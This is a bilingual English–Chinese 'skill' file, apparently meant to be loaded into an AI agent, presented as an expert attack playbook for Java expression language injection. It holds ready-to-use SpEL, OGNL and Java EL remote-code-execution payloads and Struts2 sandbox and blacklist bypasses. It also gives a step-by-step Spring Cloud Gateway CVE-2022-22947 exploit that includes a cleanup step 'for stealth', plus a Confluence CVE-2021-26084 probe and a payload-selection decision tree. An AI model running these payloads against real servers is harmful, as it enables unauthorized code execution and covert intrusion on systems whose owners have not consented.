expression-language-injection
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: Expression Language Injection — Expert Attack Playbook
SKILL: 表达式语言注入 — 专家级攻击手册
AI LOAD INSTRUCTION: Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI — EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass,manipulation, actuator abuse, and real-world CVE chains._memberAccess
AI加载说明:涵盖SpEL(Spring)、OGNL(Struts2)和Java EL(JSP/JSF)的专家级EL注入技术。与SSTI不同——EL注入的目标是Java框架中的表达式求值器,而非模板引擎。内容涵盖沙箱绕过、操作、actuator滥用以及真实场景的CVE利用链。_memberAccess
0. RELATED ROUTING
0. 相关导航
- ssti-server-side-template-injection for template engines (Jinja2, FreeMarker, Twig) — different attack surface
- jndi-injection when EL evaluation leads to JNDI lookup
Key distinction: SSTI targets template rendering engines; EL injection targets expression evaluators embedded in Java frameworks. They share detection probes () but diverge in exploitation.
${7*7}- ssti-server-side-template-injection 对应模板引擎(Jinja2、FreeMarker、Twig)的攻击场景——不同的攻击面
- jndi-injection 对应EL求值触发JNDI lookup的场景
核心区别:SSTI的目标是模板渲染引擎;EL注入的目标是嵌入在Java框架中的表达式求值器。二者使用相同的探测语句()但利用方式完全不同。
${7*7}1. DETECTION — POLYGLOT PROBES
1. 检测 — 通用探测语句
text
${7*7} → 49 = SpEL, OGNL, or Java EL
#{7*7} → 49 = SpEL (alternative syntax) or JSF EL
%{7*7} → 49 = OGNL (Struts2)
${T(java.lang.Math).random()} → random float = SpEL confirmed
%{#context} → object dump = OGNL confirmedtext
${7*7} → 返回49 = SpEL、OGNL或Java EL
#{7*7} → 返回49 = SpEL(备选语法)或JSF EL
%{7*7} → 返回49 = OGNL(Struts2)
${T(java.lang.Math).random()} → 返回随机浮点数 = 确认存在SpEL
%{#context} → 返回对象转储内容 = 确认存在OGNLDisambiguation
类型区分
Response to | Response to | Engine |
|---|---|---|
| 49 | literal | SpEL or Java EL |
literal | 49 | OGNL (Struts2) |
| 49 | 49 | Both may be active |
对 | 对 | 对应引擎 |
|---|---|---|
| 49 | 原样返回 | SpEL或Java EL |
原样返回 | 49 | OGNL(Struts2) |
| 49 | 49 | 两种引擎均可能启用 |
2. SpEL (SPRING EXPRESSION LANGUAGE)
2. SpEL(SPRING EXPRESSION LANGUAGE)
Where SpEL Appears
SpEL出现的场景
- annotations
@Value("${...}") - Spring Security expressions ()
@PreAuthorize - Spring Cloud Gateway route predicates and filters
- Thymeleaf (when combined with
th:text="${...}"preprocessing)__${...}__ - Spring Data with SpEL
@Query
- 注解
@Value("${...}") - Spring Security表达式()
@PreAuthorize - Spring Cloud Gateway路由断言和过滤器
- Thymeleaf (结合
th:text="${...}"预处理时)__${...}__ - Spring Data 搭配SpEL使用时
@Query
RCE via Runtime.exec
通过Runtime.exec实现RCE
java
${T(java.lang.Runtime).getRuntime().exec("id")}java
${T(java.lang.Runtime).getRuntime().exec("id")}RCE with Output Capture (Commons IO)
带输出捕获的RCE(Commons IO)
java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}RCE with Output Capture (Spring StreamUtils)
带输出捕获的RCE(Spring StreamUtils)
java
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}java
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}ProcessBuilder (alternative when Runtime is blocked)
ProcessBuilder(Runtime被拦截时的备选方案)
java
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}java
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}Spring Cloud Gateway — CVE-2022-22947
Spring Cloud Gateway — CVE-2022-22947
Exploit via actuator to add malicious route with SpEL filter:
bash
undefined通过actuator添加携带SpEL过滤器的恶意路由实现利用:
bash
undefinedStep 1: Add route with SpEL in filter (with output capture)
步骤1:添加过滤器中携带SpEL的路由(包含输出捕获逻辑)
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
}
}],
"uri": "http://example.com",
"predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
}
}],
"uri": "http://example.com",
"predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}
Step 2: Refresh routes to apply
步骤2:刷新路由使配置生效
POST /actuator/gateway/refresh
POST /actuator/gateway/refresh
Step 3: Trigger the route
步骤3:触发路由执行
GET /hackpath
GET /hackpath
Response header "Result" contains command output
响应头"Result"会包含命令执行结果
Step 4: Clean up (important for stealth)
步骤4:清理痕迹(隐匿攻击的关键步骤)
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh
undefinedDELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh
undefinedSpEL Sandbox Bypass
SpEL沙箱绕过
When is used (restricts operator):
SimpleEvaluationContextT()java
// Try reflection-based bypass:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}当使用(限制运算符)时:
SimpleEvaluationContextT()java
// 尝试基于反射的绕过方案:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}3. OGNL (OBJECT-GRAPH NAVIGATION LANGUAGE)
3. OGNL(OBJECT-GRAPH NAVIGATION LANGUAGE)
Where OGNL Appears
OGNL出现的场景
- Apache Struts2 — primary OGNL consumer
- Confluence Server — uses OGNL in certain request paths
- Any Java app using or
ognl.Ognl.getValue()ognl.Ognl.setValue()
- Apache Struts2 — 最主要的OGNL使用方
- Confluence Server — 特定请求路径中使用OGNL
- 任何使用或
ognl.Ognl.getValue()的Java应用ognl.Ognl.setValue()
Basic RCE
基础RCE
%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}Struts2 Sandbox Bypass — _memberAccess Manipulation
Struts2沙箱绕过 — _memberAccess操作
Struts2 restricts OGNL via . Classic bypass clears restrictions:
SecurityMemberAccess%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}Struts2通过限制OGNL权限,经典绕过方案可清除限制:
SecurityMemberAccess%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}Struts2 OgnlUtil Blacklist Clear
Struts2 OgnlUtil黑名单清除
Later Struts2 versions use class/package blacklists. Bypass by clearing and :
excludedClassesexcludedPackageNames%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}更高版本的Struts2使用类/包黑名单限制,可通过清空和绕过:
excludedClassesexcludedPackageNames%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}Key Struts2 CVEs
关键Struts2 CVE
| CVE | Vector | Payload Location |
|---|---|---|
| S2-045 (CVE-2017-5638) | Content-Type header | |
| S2-046 (CVE-2017-5638) | Multipart filename | OGNL in upload filename |
| S2-016 (CVE-2013-2251) | | URL parameter |
| S2-048 (CVE-2017-9791) | Struts Showcase | ActionMessage with OGNL |
| S2-057 (CVE-2018-11776) | Namespace OGNL | URL path |
| CVE | 攻击向量 | Payload位置 |
|---|---|---|
| S2-045 (CVE-2017-5638) | Content-Type请求头 | Content-Type中的 |
| S2-046 (CVE-2017-5638) | 多部分上传文件名 | 上传文件名中的OGNL |
| S2-016 (CVE-2013-2251) | | URL参数 |
| S2-048 (CVE-2017-9791) | Struts Showcase | 携带OGNL的ActionMessage |
| S2-057 (CVE-2018-11776) | 命名空间OGNL | URL路径 |
Confluence OGNL — CVE-2021-26084
Confluence OGNL — CVE-2021-26084
Confluence Server allows OGNL injection via the or action parameters:
queryStringbash
POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded
queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027Confluence Server可通过或action参数实现OGNL注入:
queryStringbash
POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded
queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027URL-decoded: \u0027+{3*3}+\u0027
URL解码后: \u0027+{3*3}+\u0027
If response contains 9 → confirmed
如果响应包含9 → 确认存在漏洞
Escalate to Runtime.exec for RCE
可升级为Runtime.exec实现RCE
---
---4. JAVA EL (JSP / JSF)
4. JAVA EL (JSP / JSF)
Where Java EL Appears
Java EL出现的场景
- JSP pages: and
${expression}#{expression} - JSF (JavaServer Faces): value and method bindings
- Custom tag libraries
- JSP页面: 和
${expression}#{expression} - JSF (JavaServer Faces): 值和方法绑定
- 自定义标签库
RCE Payloads
RCE Payload
java
// Java EL with Runtime:
${Runtime.getRuntime().exec("id")}
// Via pageContext (JSP):
${pageContext.request.getServletContext().getClassLoader()}
// Reflection-based:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}java
// 基于Runtime的Java EL:
${Runtime.getRuntime().exec("id")}
// 通过pageContext(JSP):
${pageContext.request.getServletContext().getClassLoader()}
// 基于反射的实现:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}5. DETECTION METHODOLOGY
5. 检测方法
Input reflected and ${7*7} returns 49?
├── Java application?
│ ├── Struts2? → Try %{...} OGNL payloads
│ │ └── Check Content-Type injection (S2-045)
│ ├── Spring? → Try T(java.lang.Runtime) SpEL
│ │ └── Check /actuator/gateway (Spring Cloud Gateway)
│ ├── Confluence? → Try OGNL via action parameters
│ └── JSP/JSF? → Try Java EL payloads
│
├── Error messages reveal framework?
│ ├── "ognl.OgnlException" → OGNL
│ ├── "SpelEvaluationException" → SpEL
│ └── "javax.el.ELException" → Java EL
│
└── Blocked by sandbox?
├── OGNL: clear _memberAccess / excludedClasses
├── SpEL: reflection bypass for SimpleEvaluationContext
└── Try alternative exec methods (ProcessBuilder, ScriptEngine)输入被反射且${7*7}返回49?
├── 是Java应用?
│ ├── 是Struts2? → 尝试%{...}格式的OGNL payload
│ │ └── 检查Content-Type注入(S2-045)
│ ├── 是Spring? → 尝试T(java.lang.Runtime)格式的SpEL
│ │ └── 检查/actuator/gateway(Spring Cloud Gateway)
│ ├── 是Confluence? → 尝试通过action参数注入OGNL
│ └── 是JSP/JSF? → 尝试Java EL payload
│
├── 错误信息暴露了框架?
│ ├── 包含"ognl.OgnlException" → OGNL
│ ├── 包含"SpelEvaluationException" → SpEL
│ └── 包含"javax.el.ELException" → Java EL
│
└── 被沙箱拦截?
├── OGNL: 清空_memberAccess / excludedClasses
├── SpEL: 针对SimpleEvaluationContext的反射绕过
└── 尝试备选执行方法(ProcessBuilder、ScriptEngine)6. QUICK REFERENCE
6. 快速参考
text
undefinedtext
undefinedSpEL RCE:
SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}
${T(java.lang.Runtime).getRuntime().exec("id")}
OGNL RCE (Struts2):
OGNL RCE (Struts2):
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
OGNL with sandbox bypass:
带沙箱绕过的OGNL RCE:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
Java EL RCE:
Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
Confluence CVE-2021-26084 probe:
Confluence CVE-2021-26084 探测语句:
queryString=\u0027%2b{3*3}%2b\u0027
queryString=\u0027%2b{3*3}%2b\u0027
Spring Cloud Gateway CVE-2022-22947:
Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x → SpEL in filter args
POST /actuator/gateway/refresh
undefinedPOST /actuator/gateway/routes/x → 过滤器参数中的SpEL
POST /actuator/gateway/refresh
undefined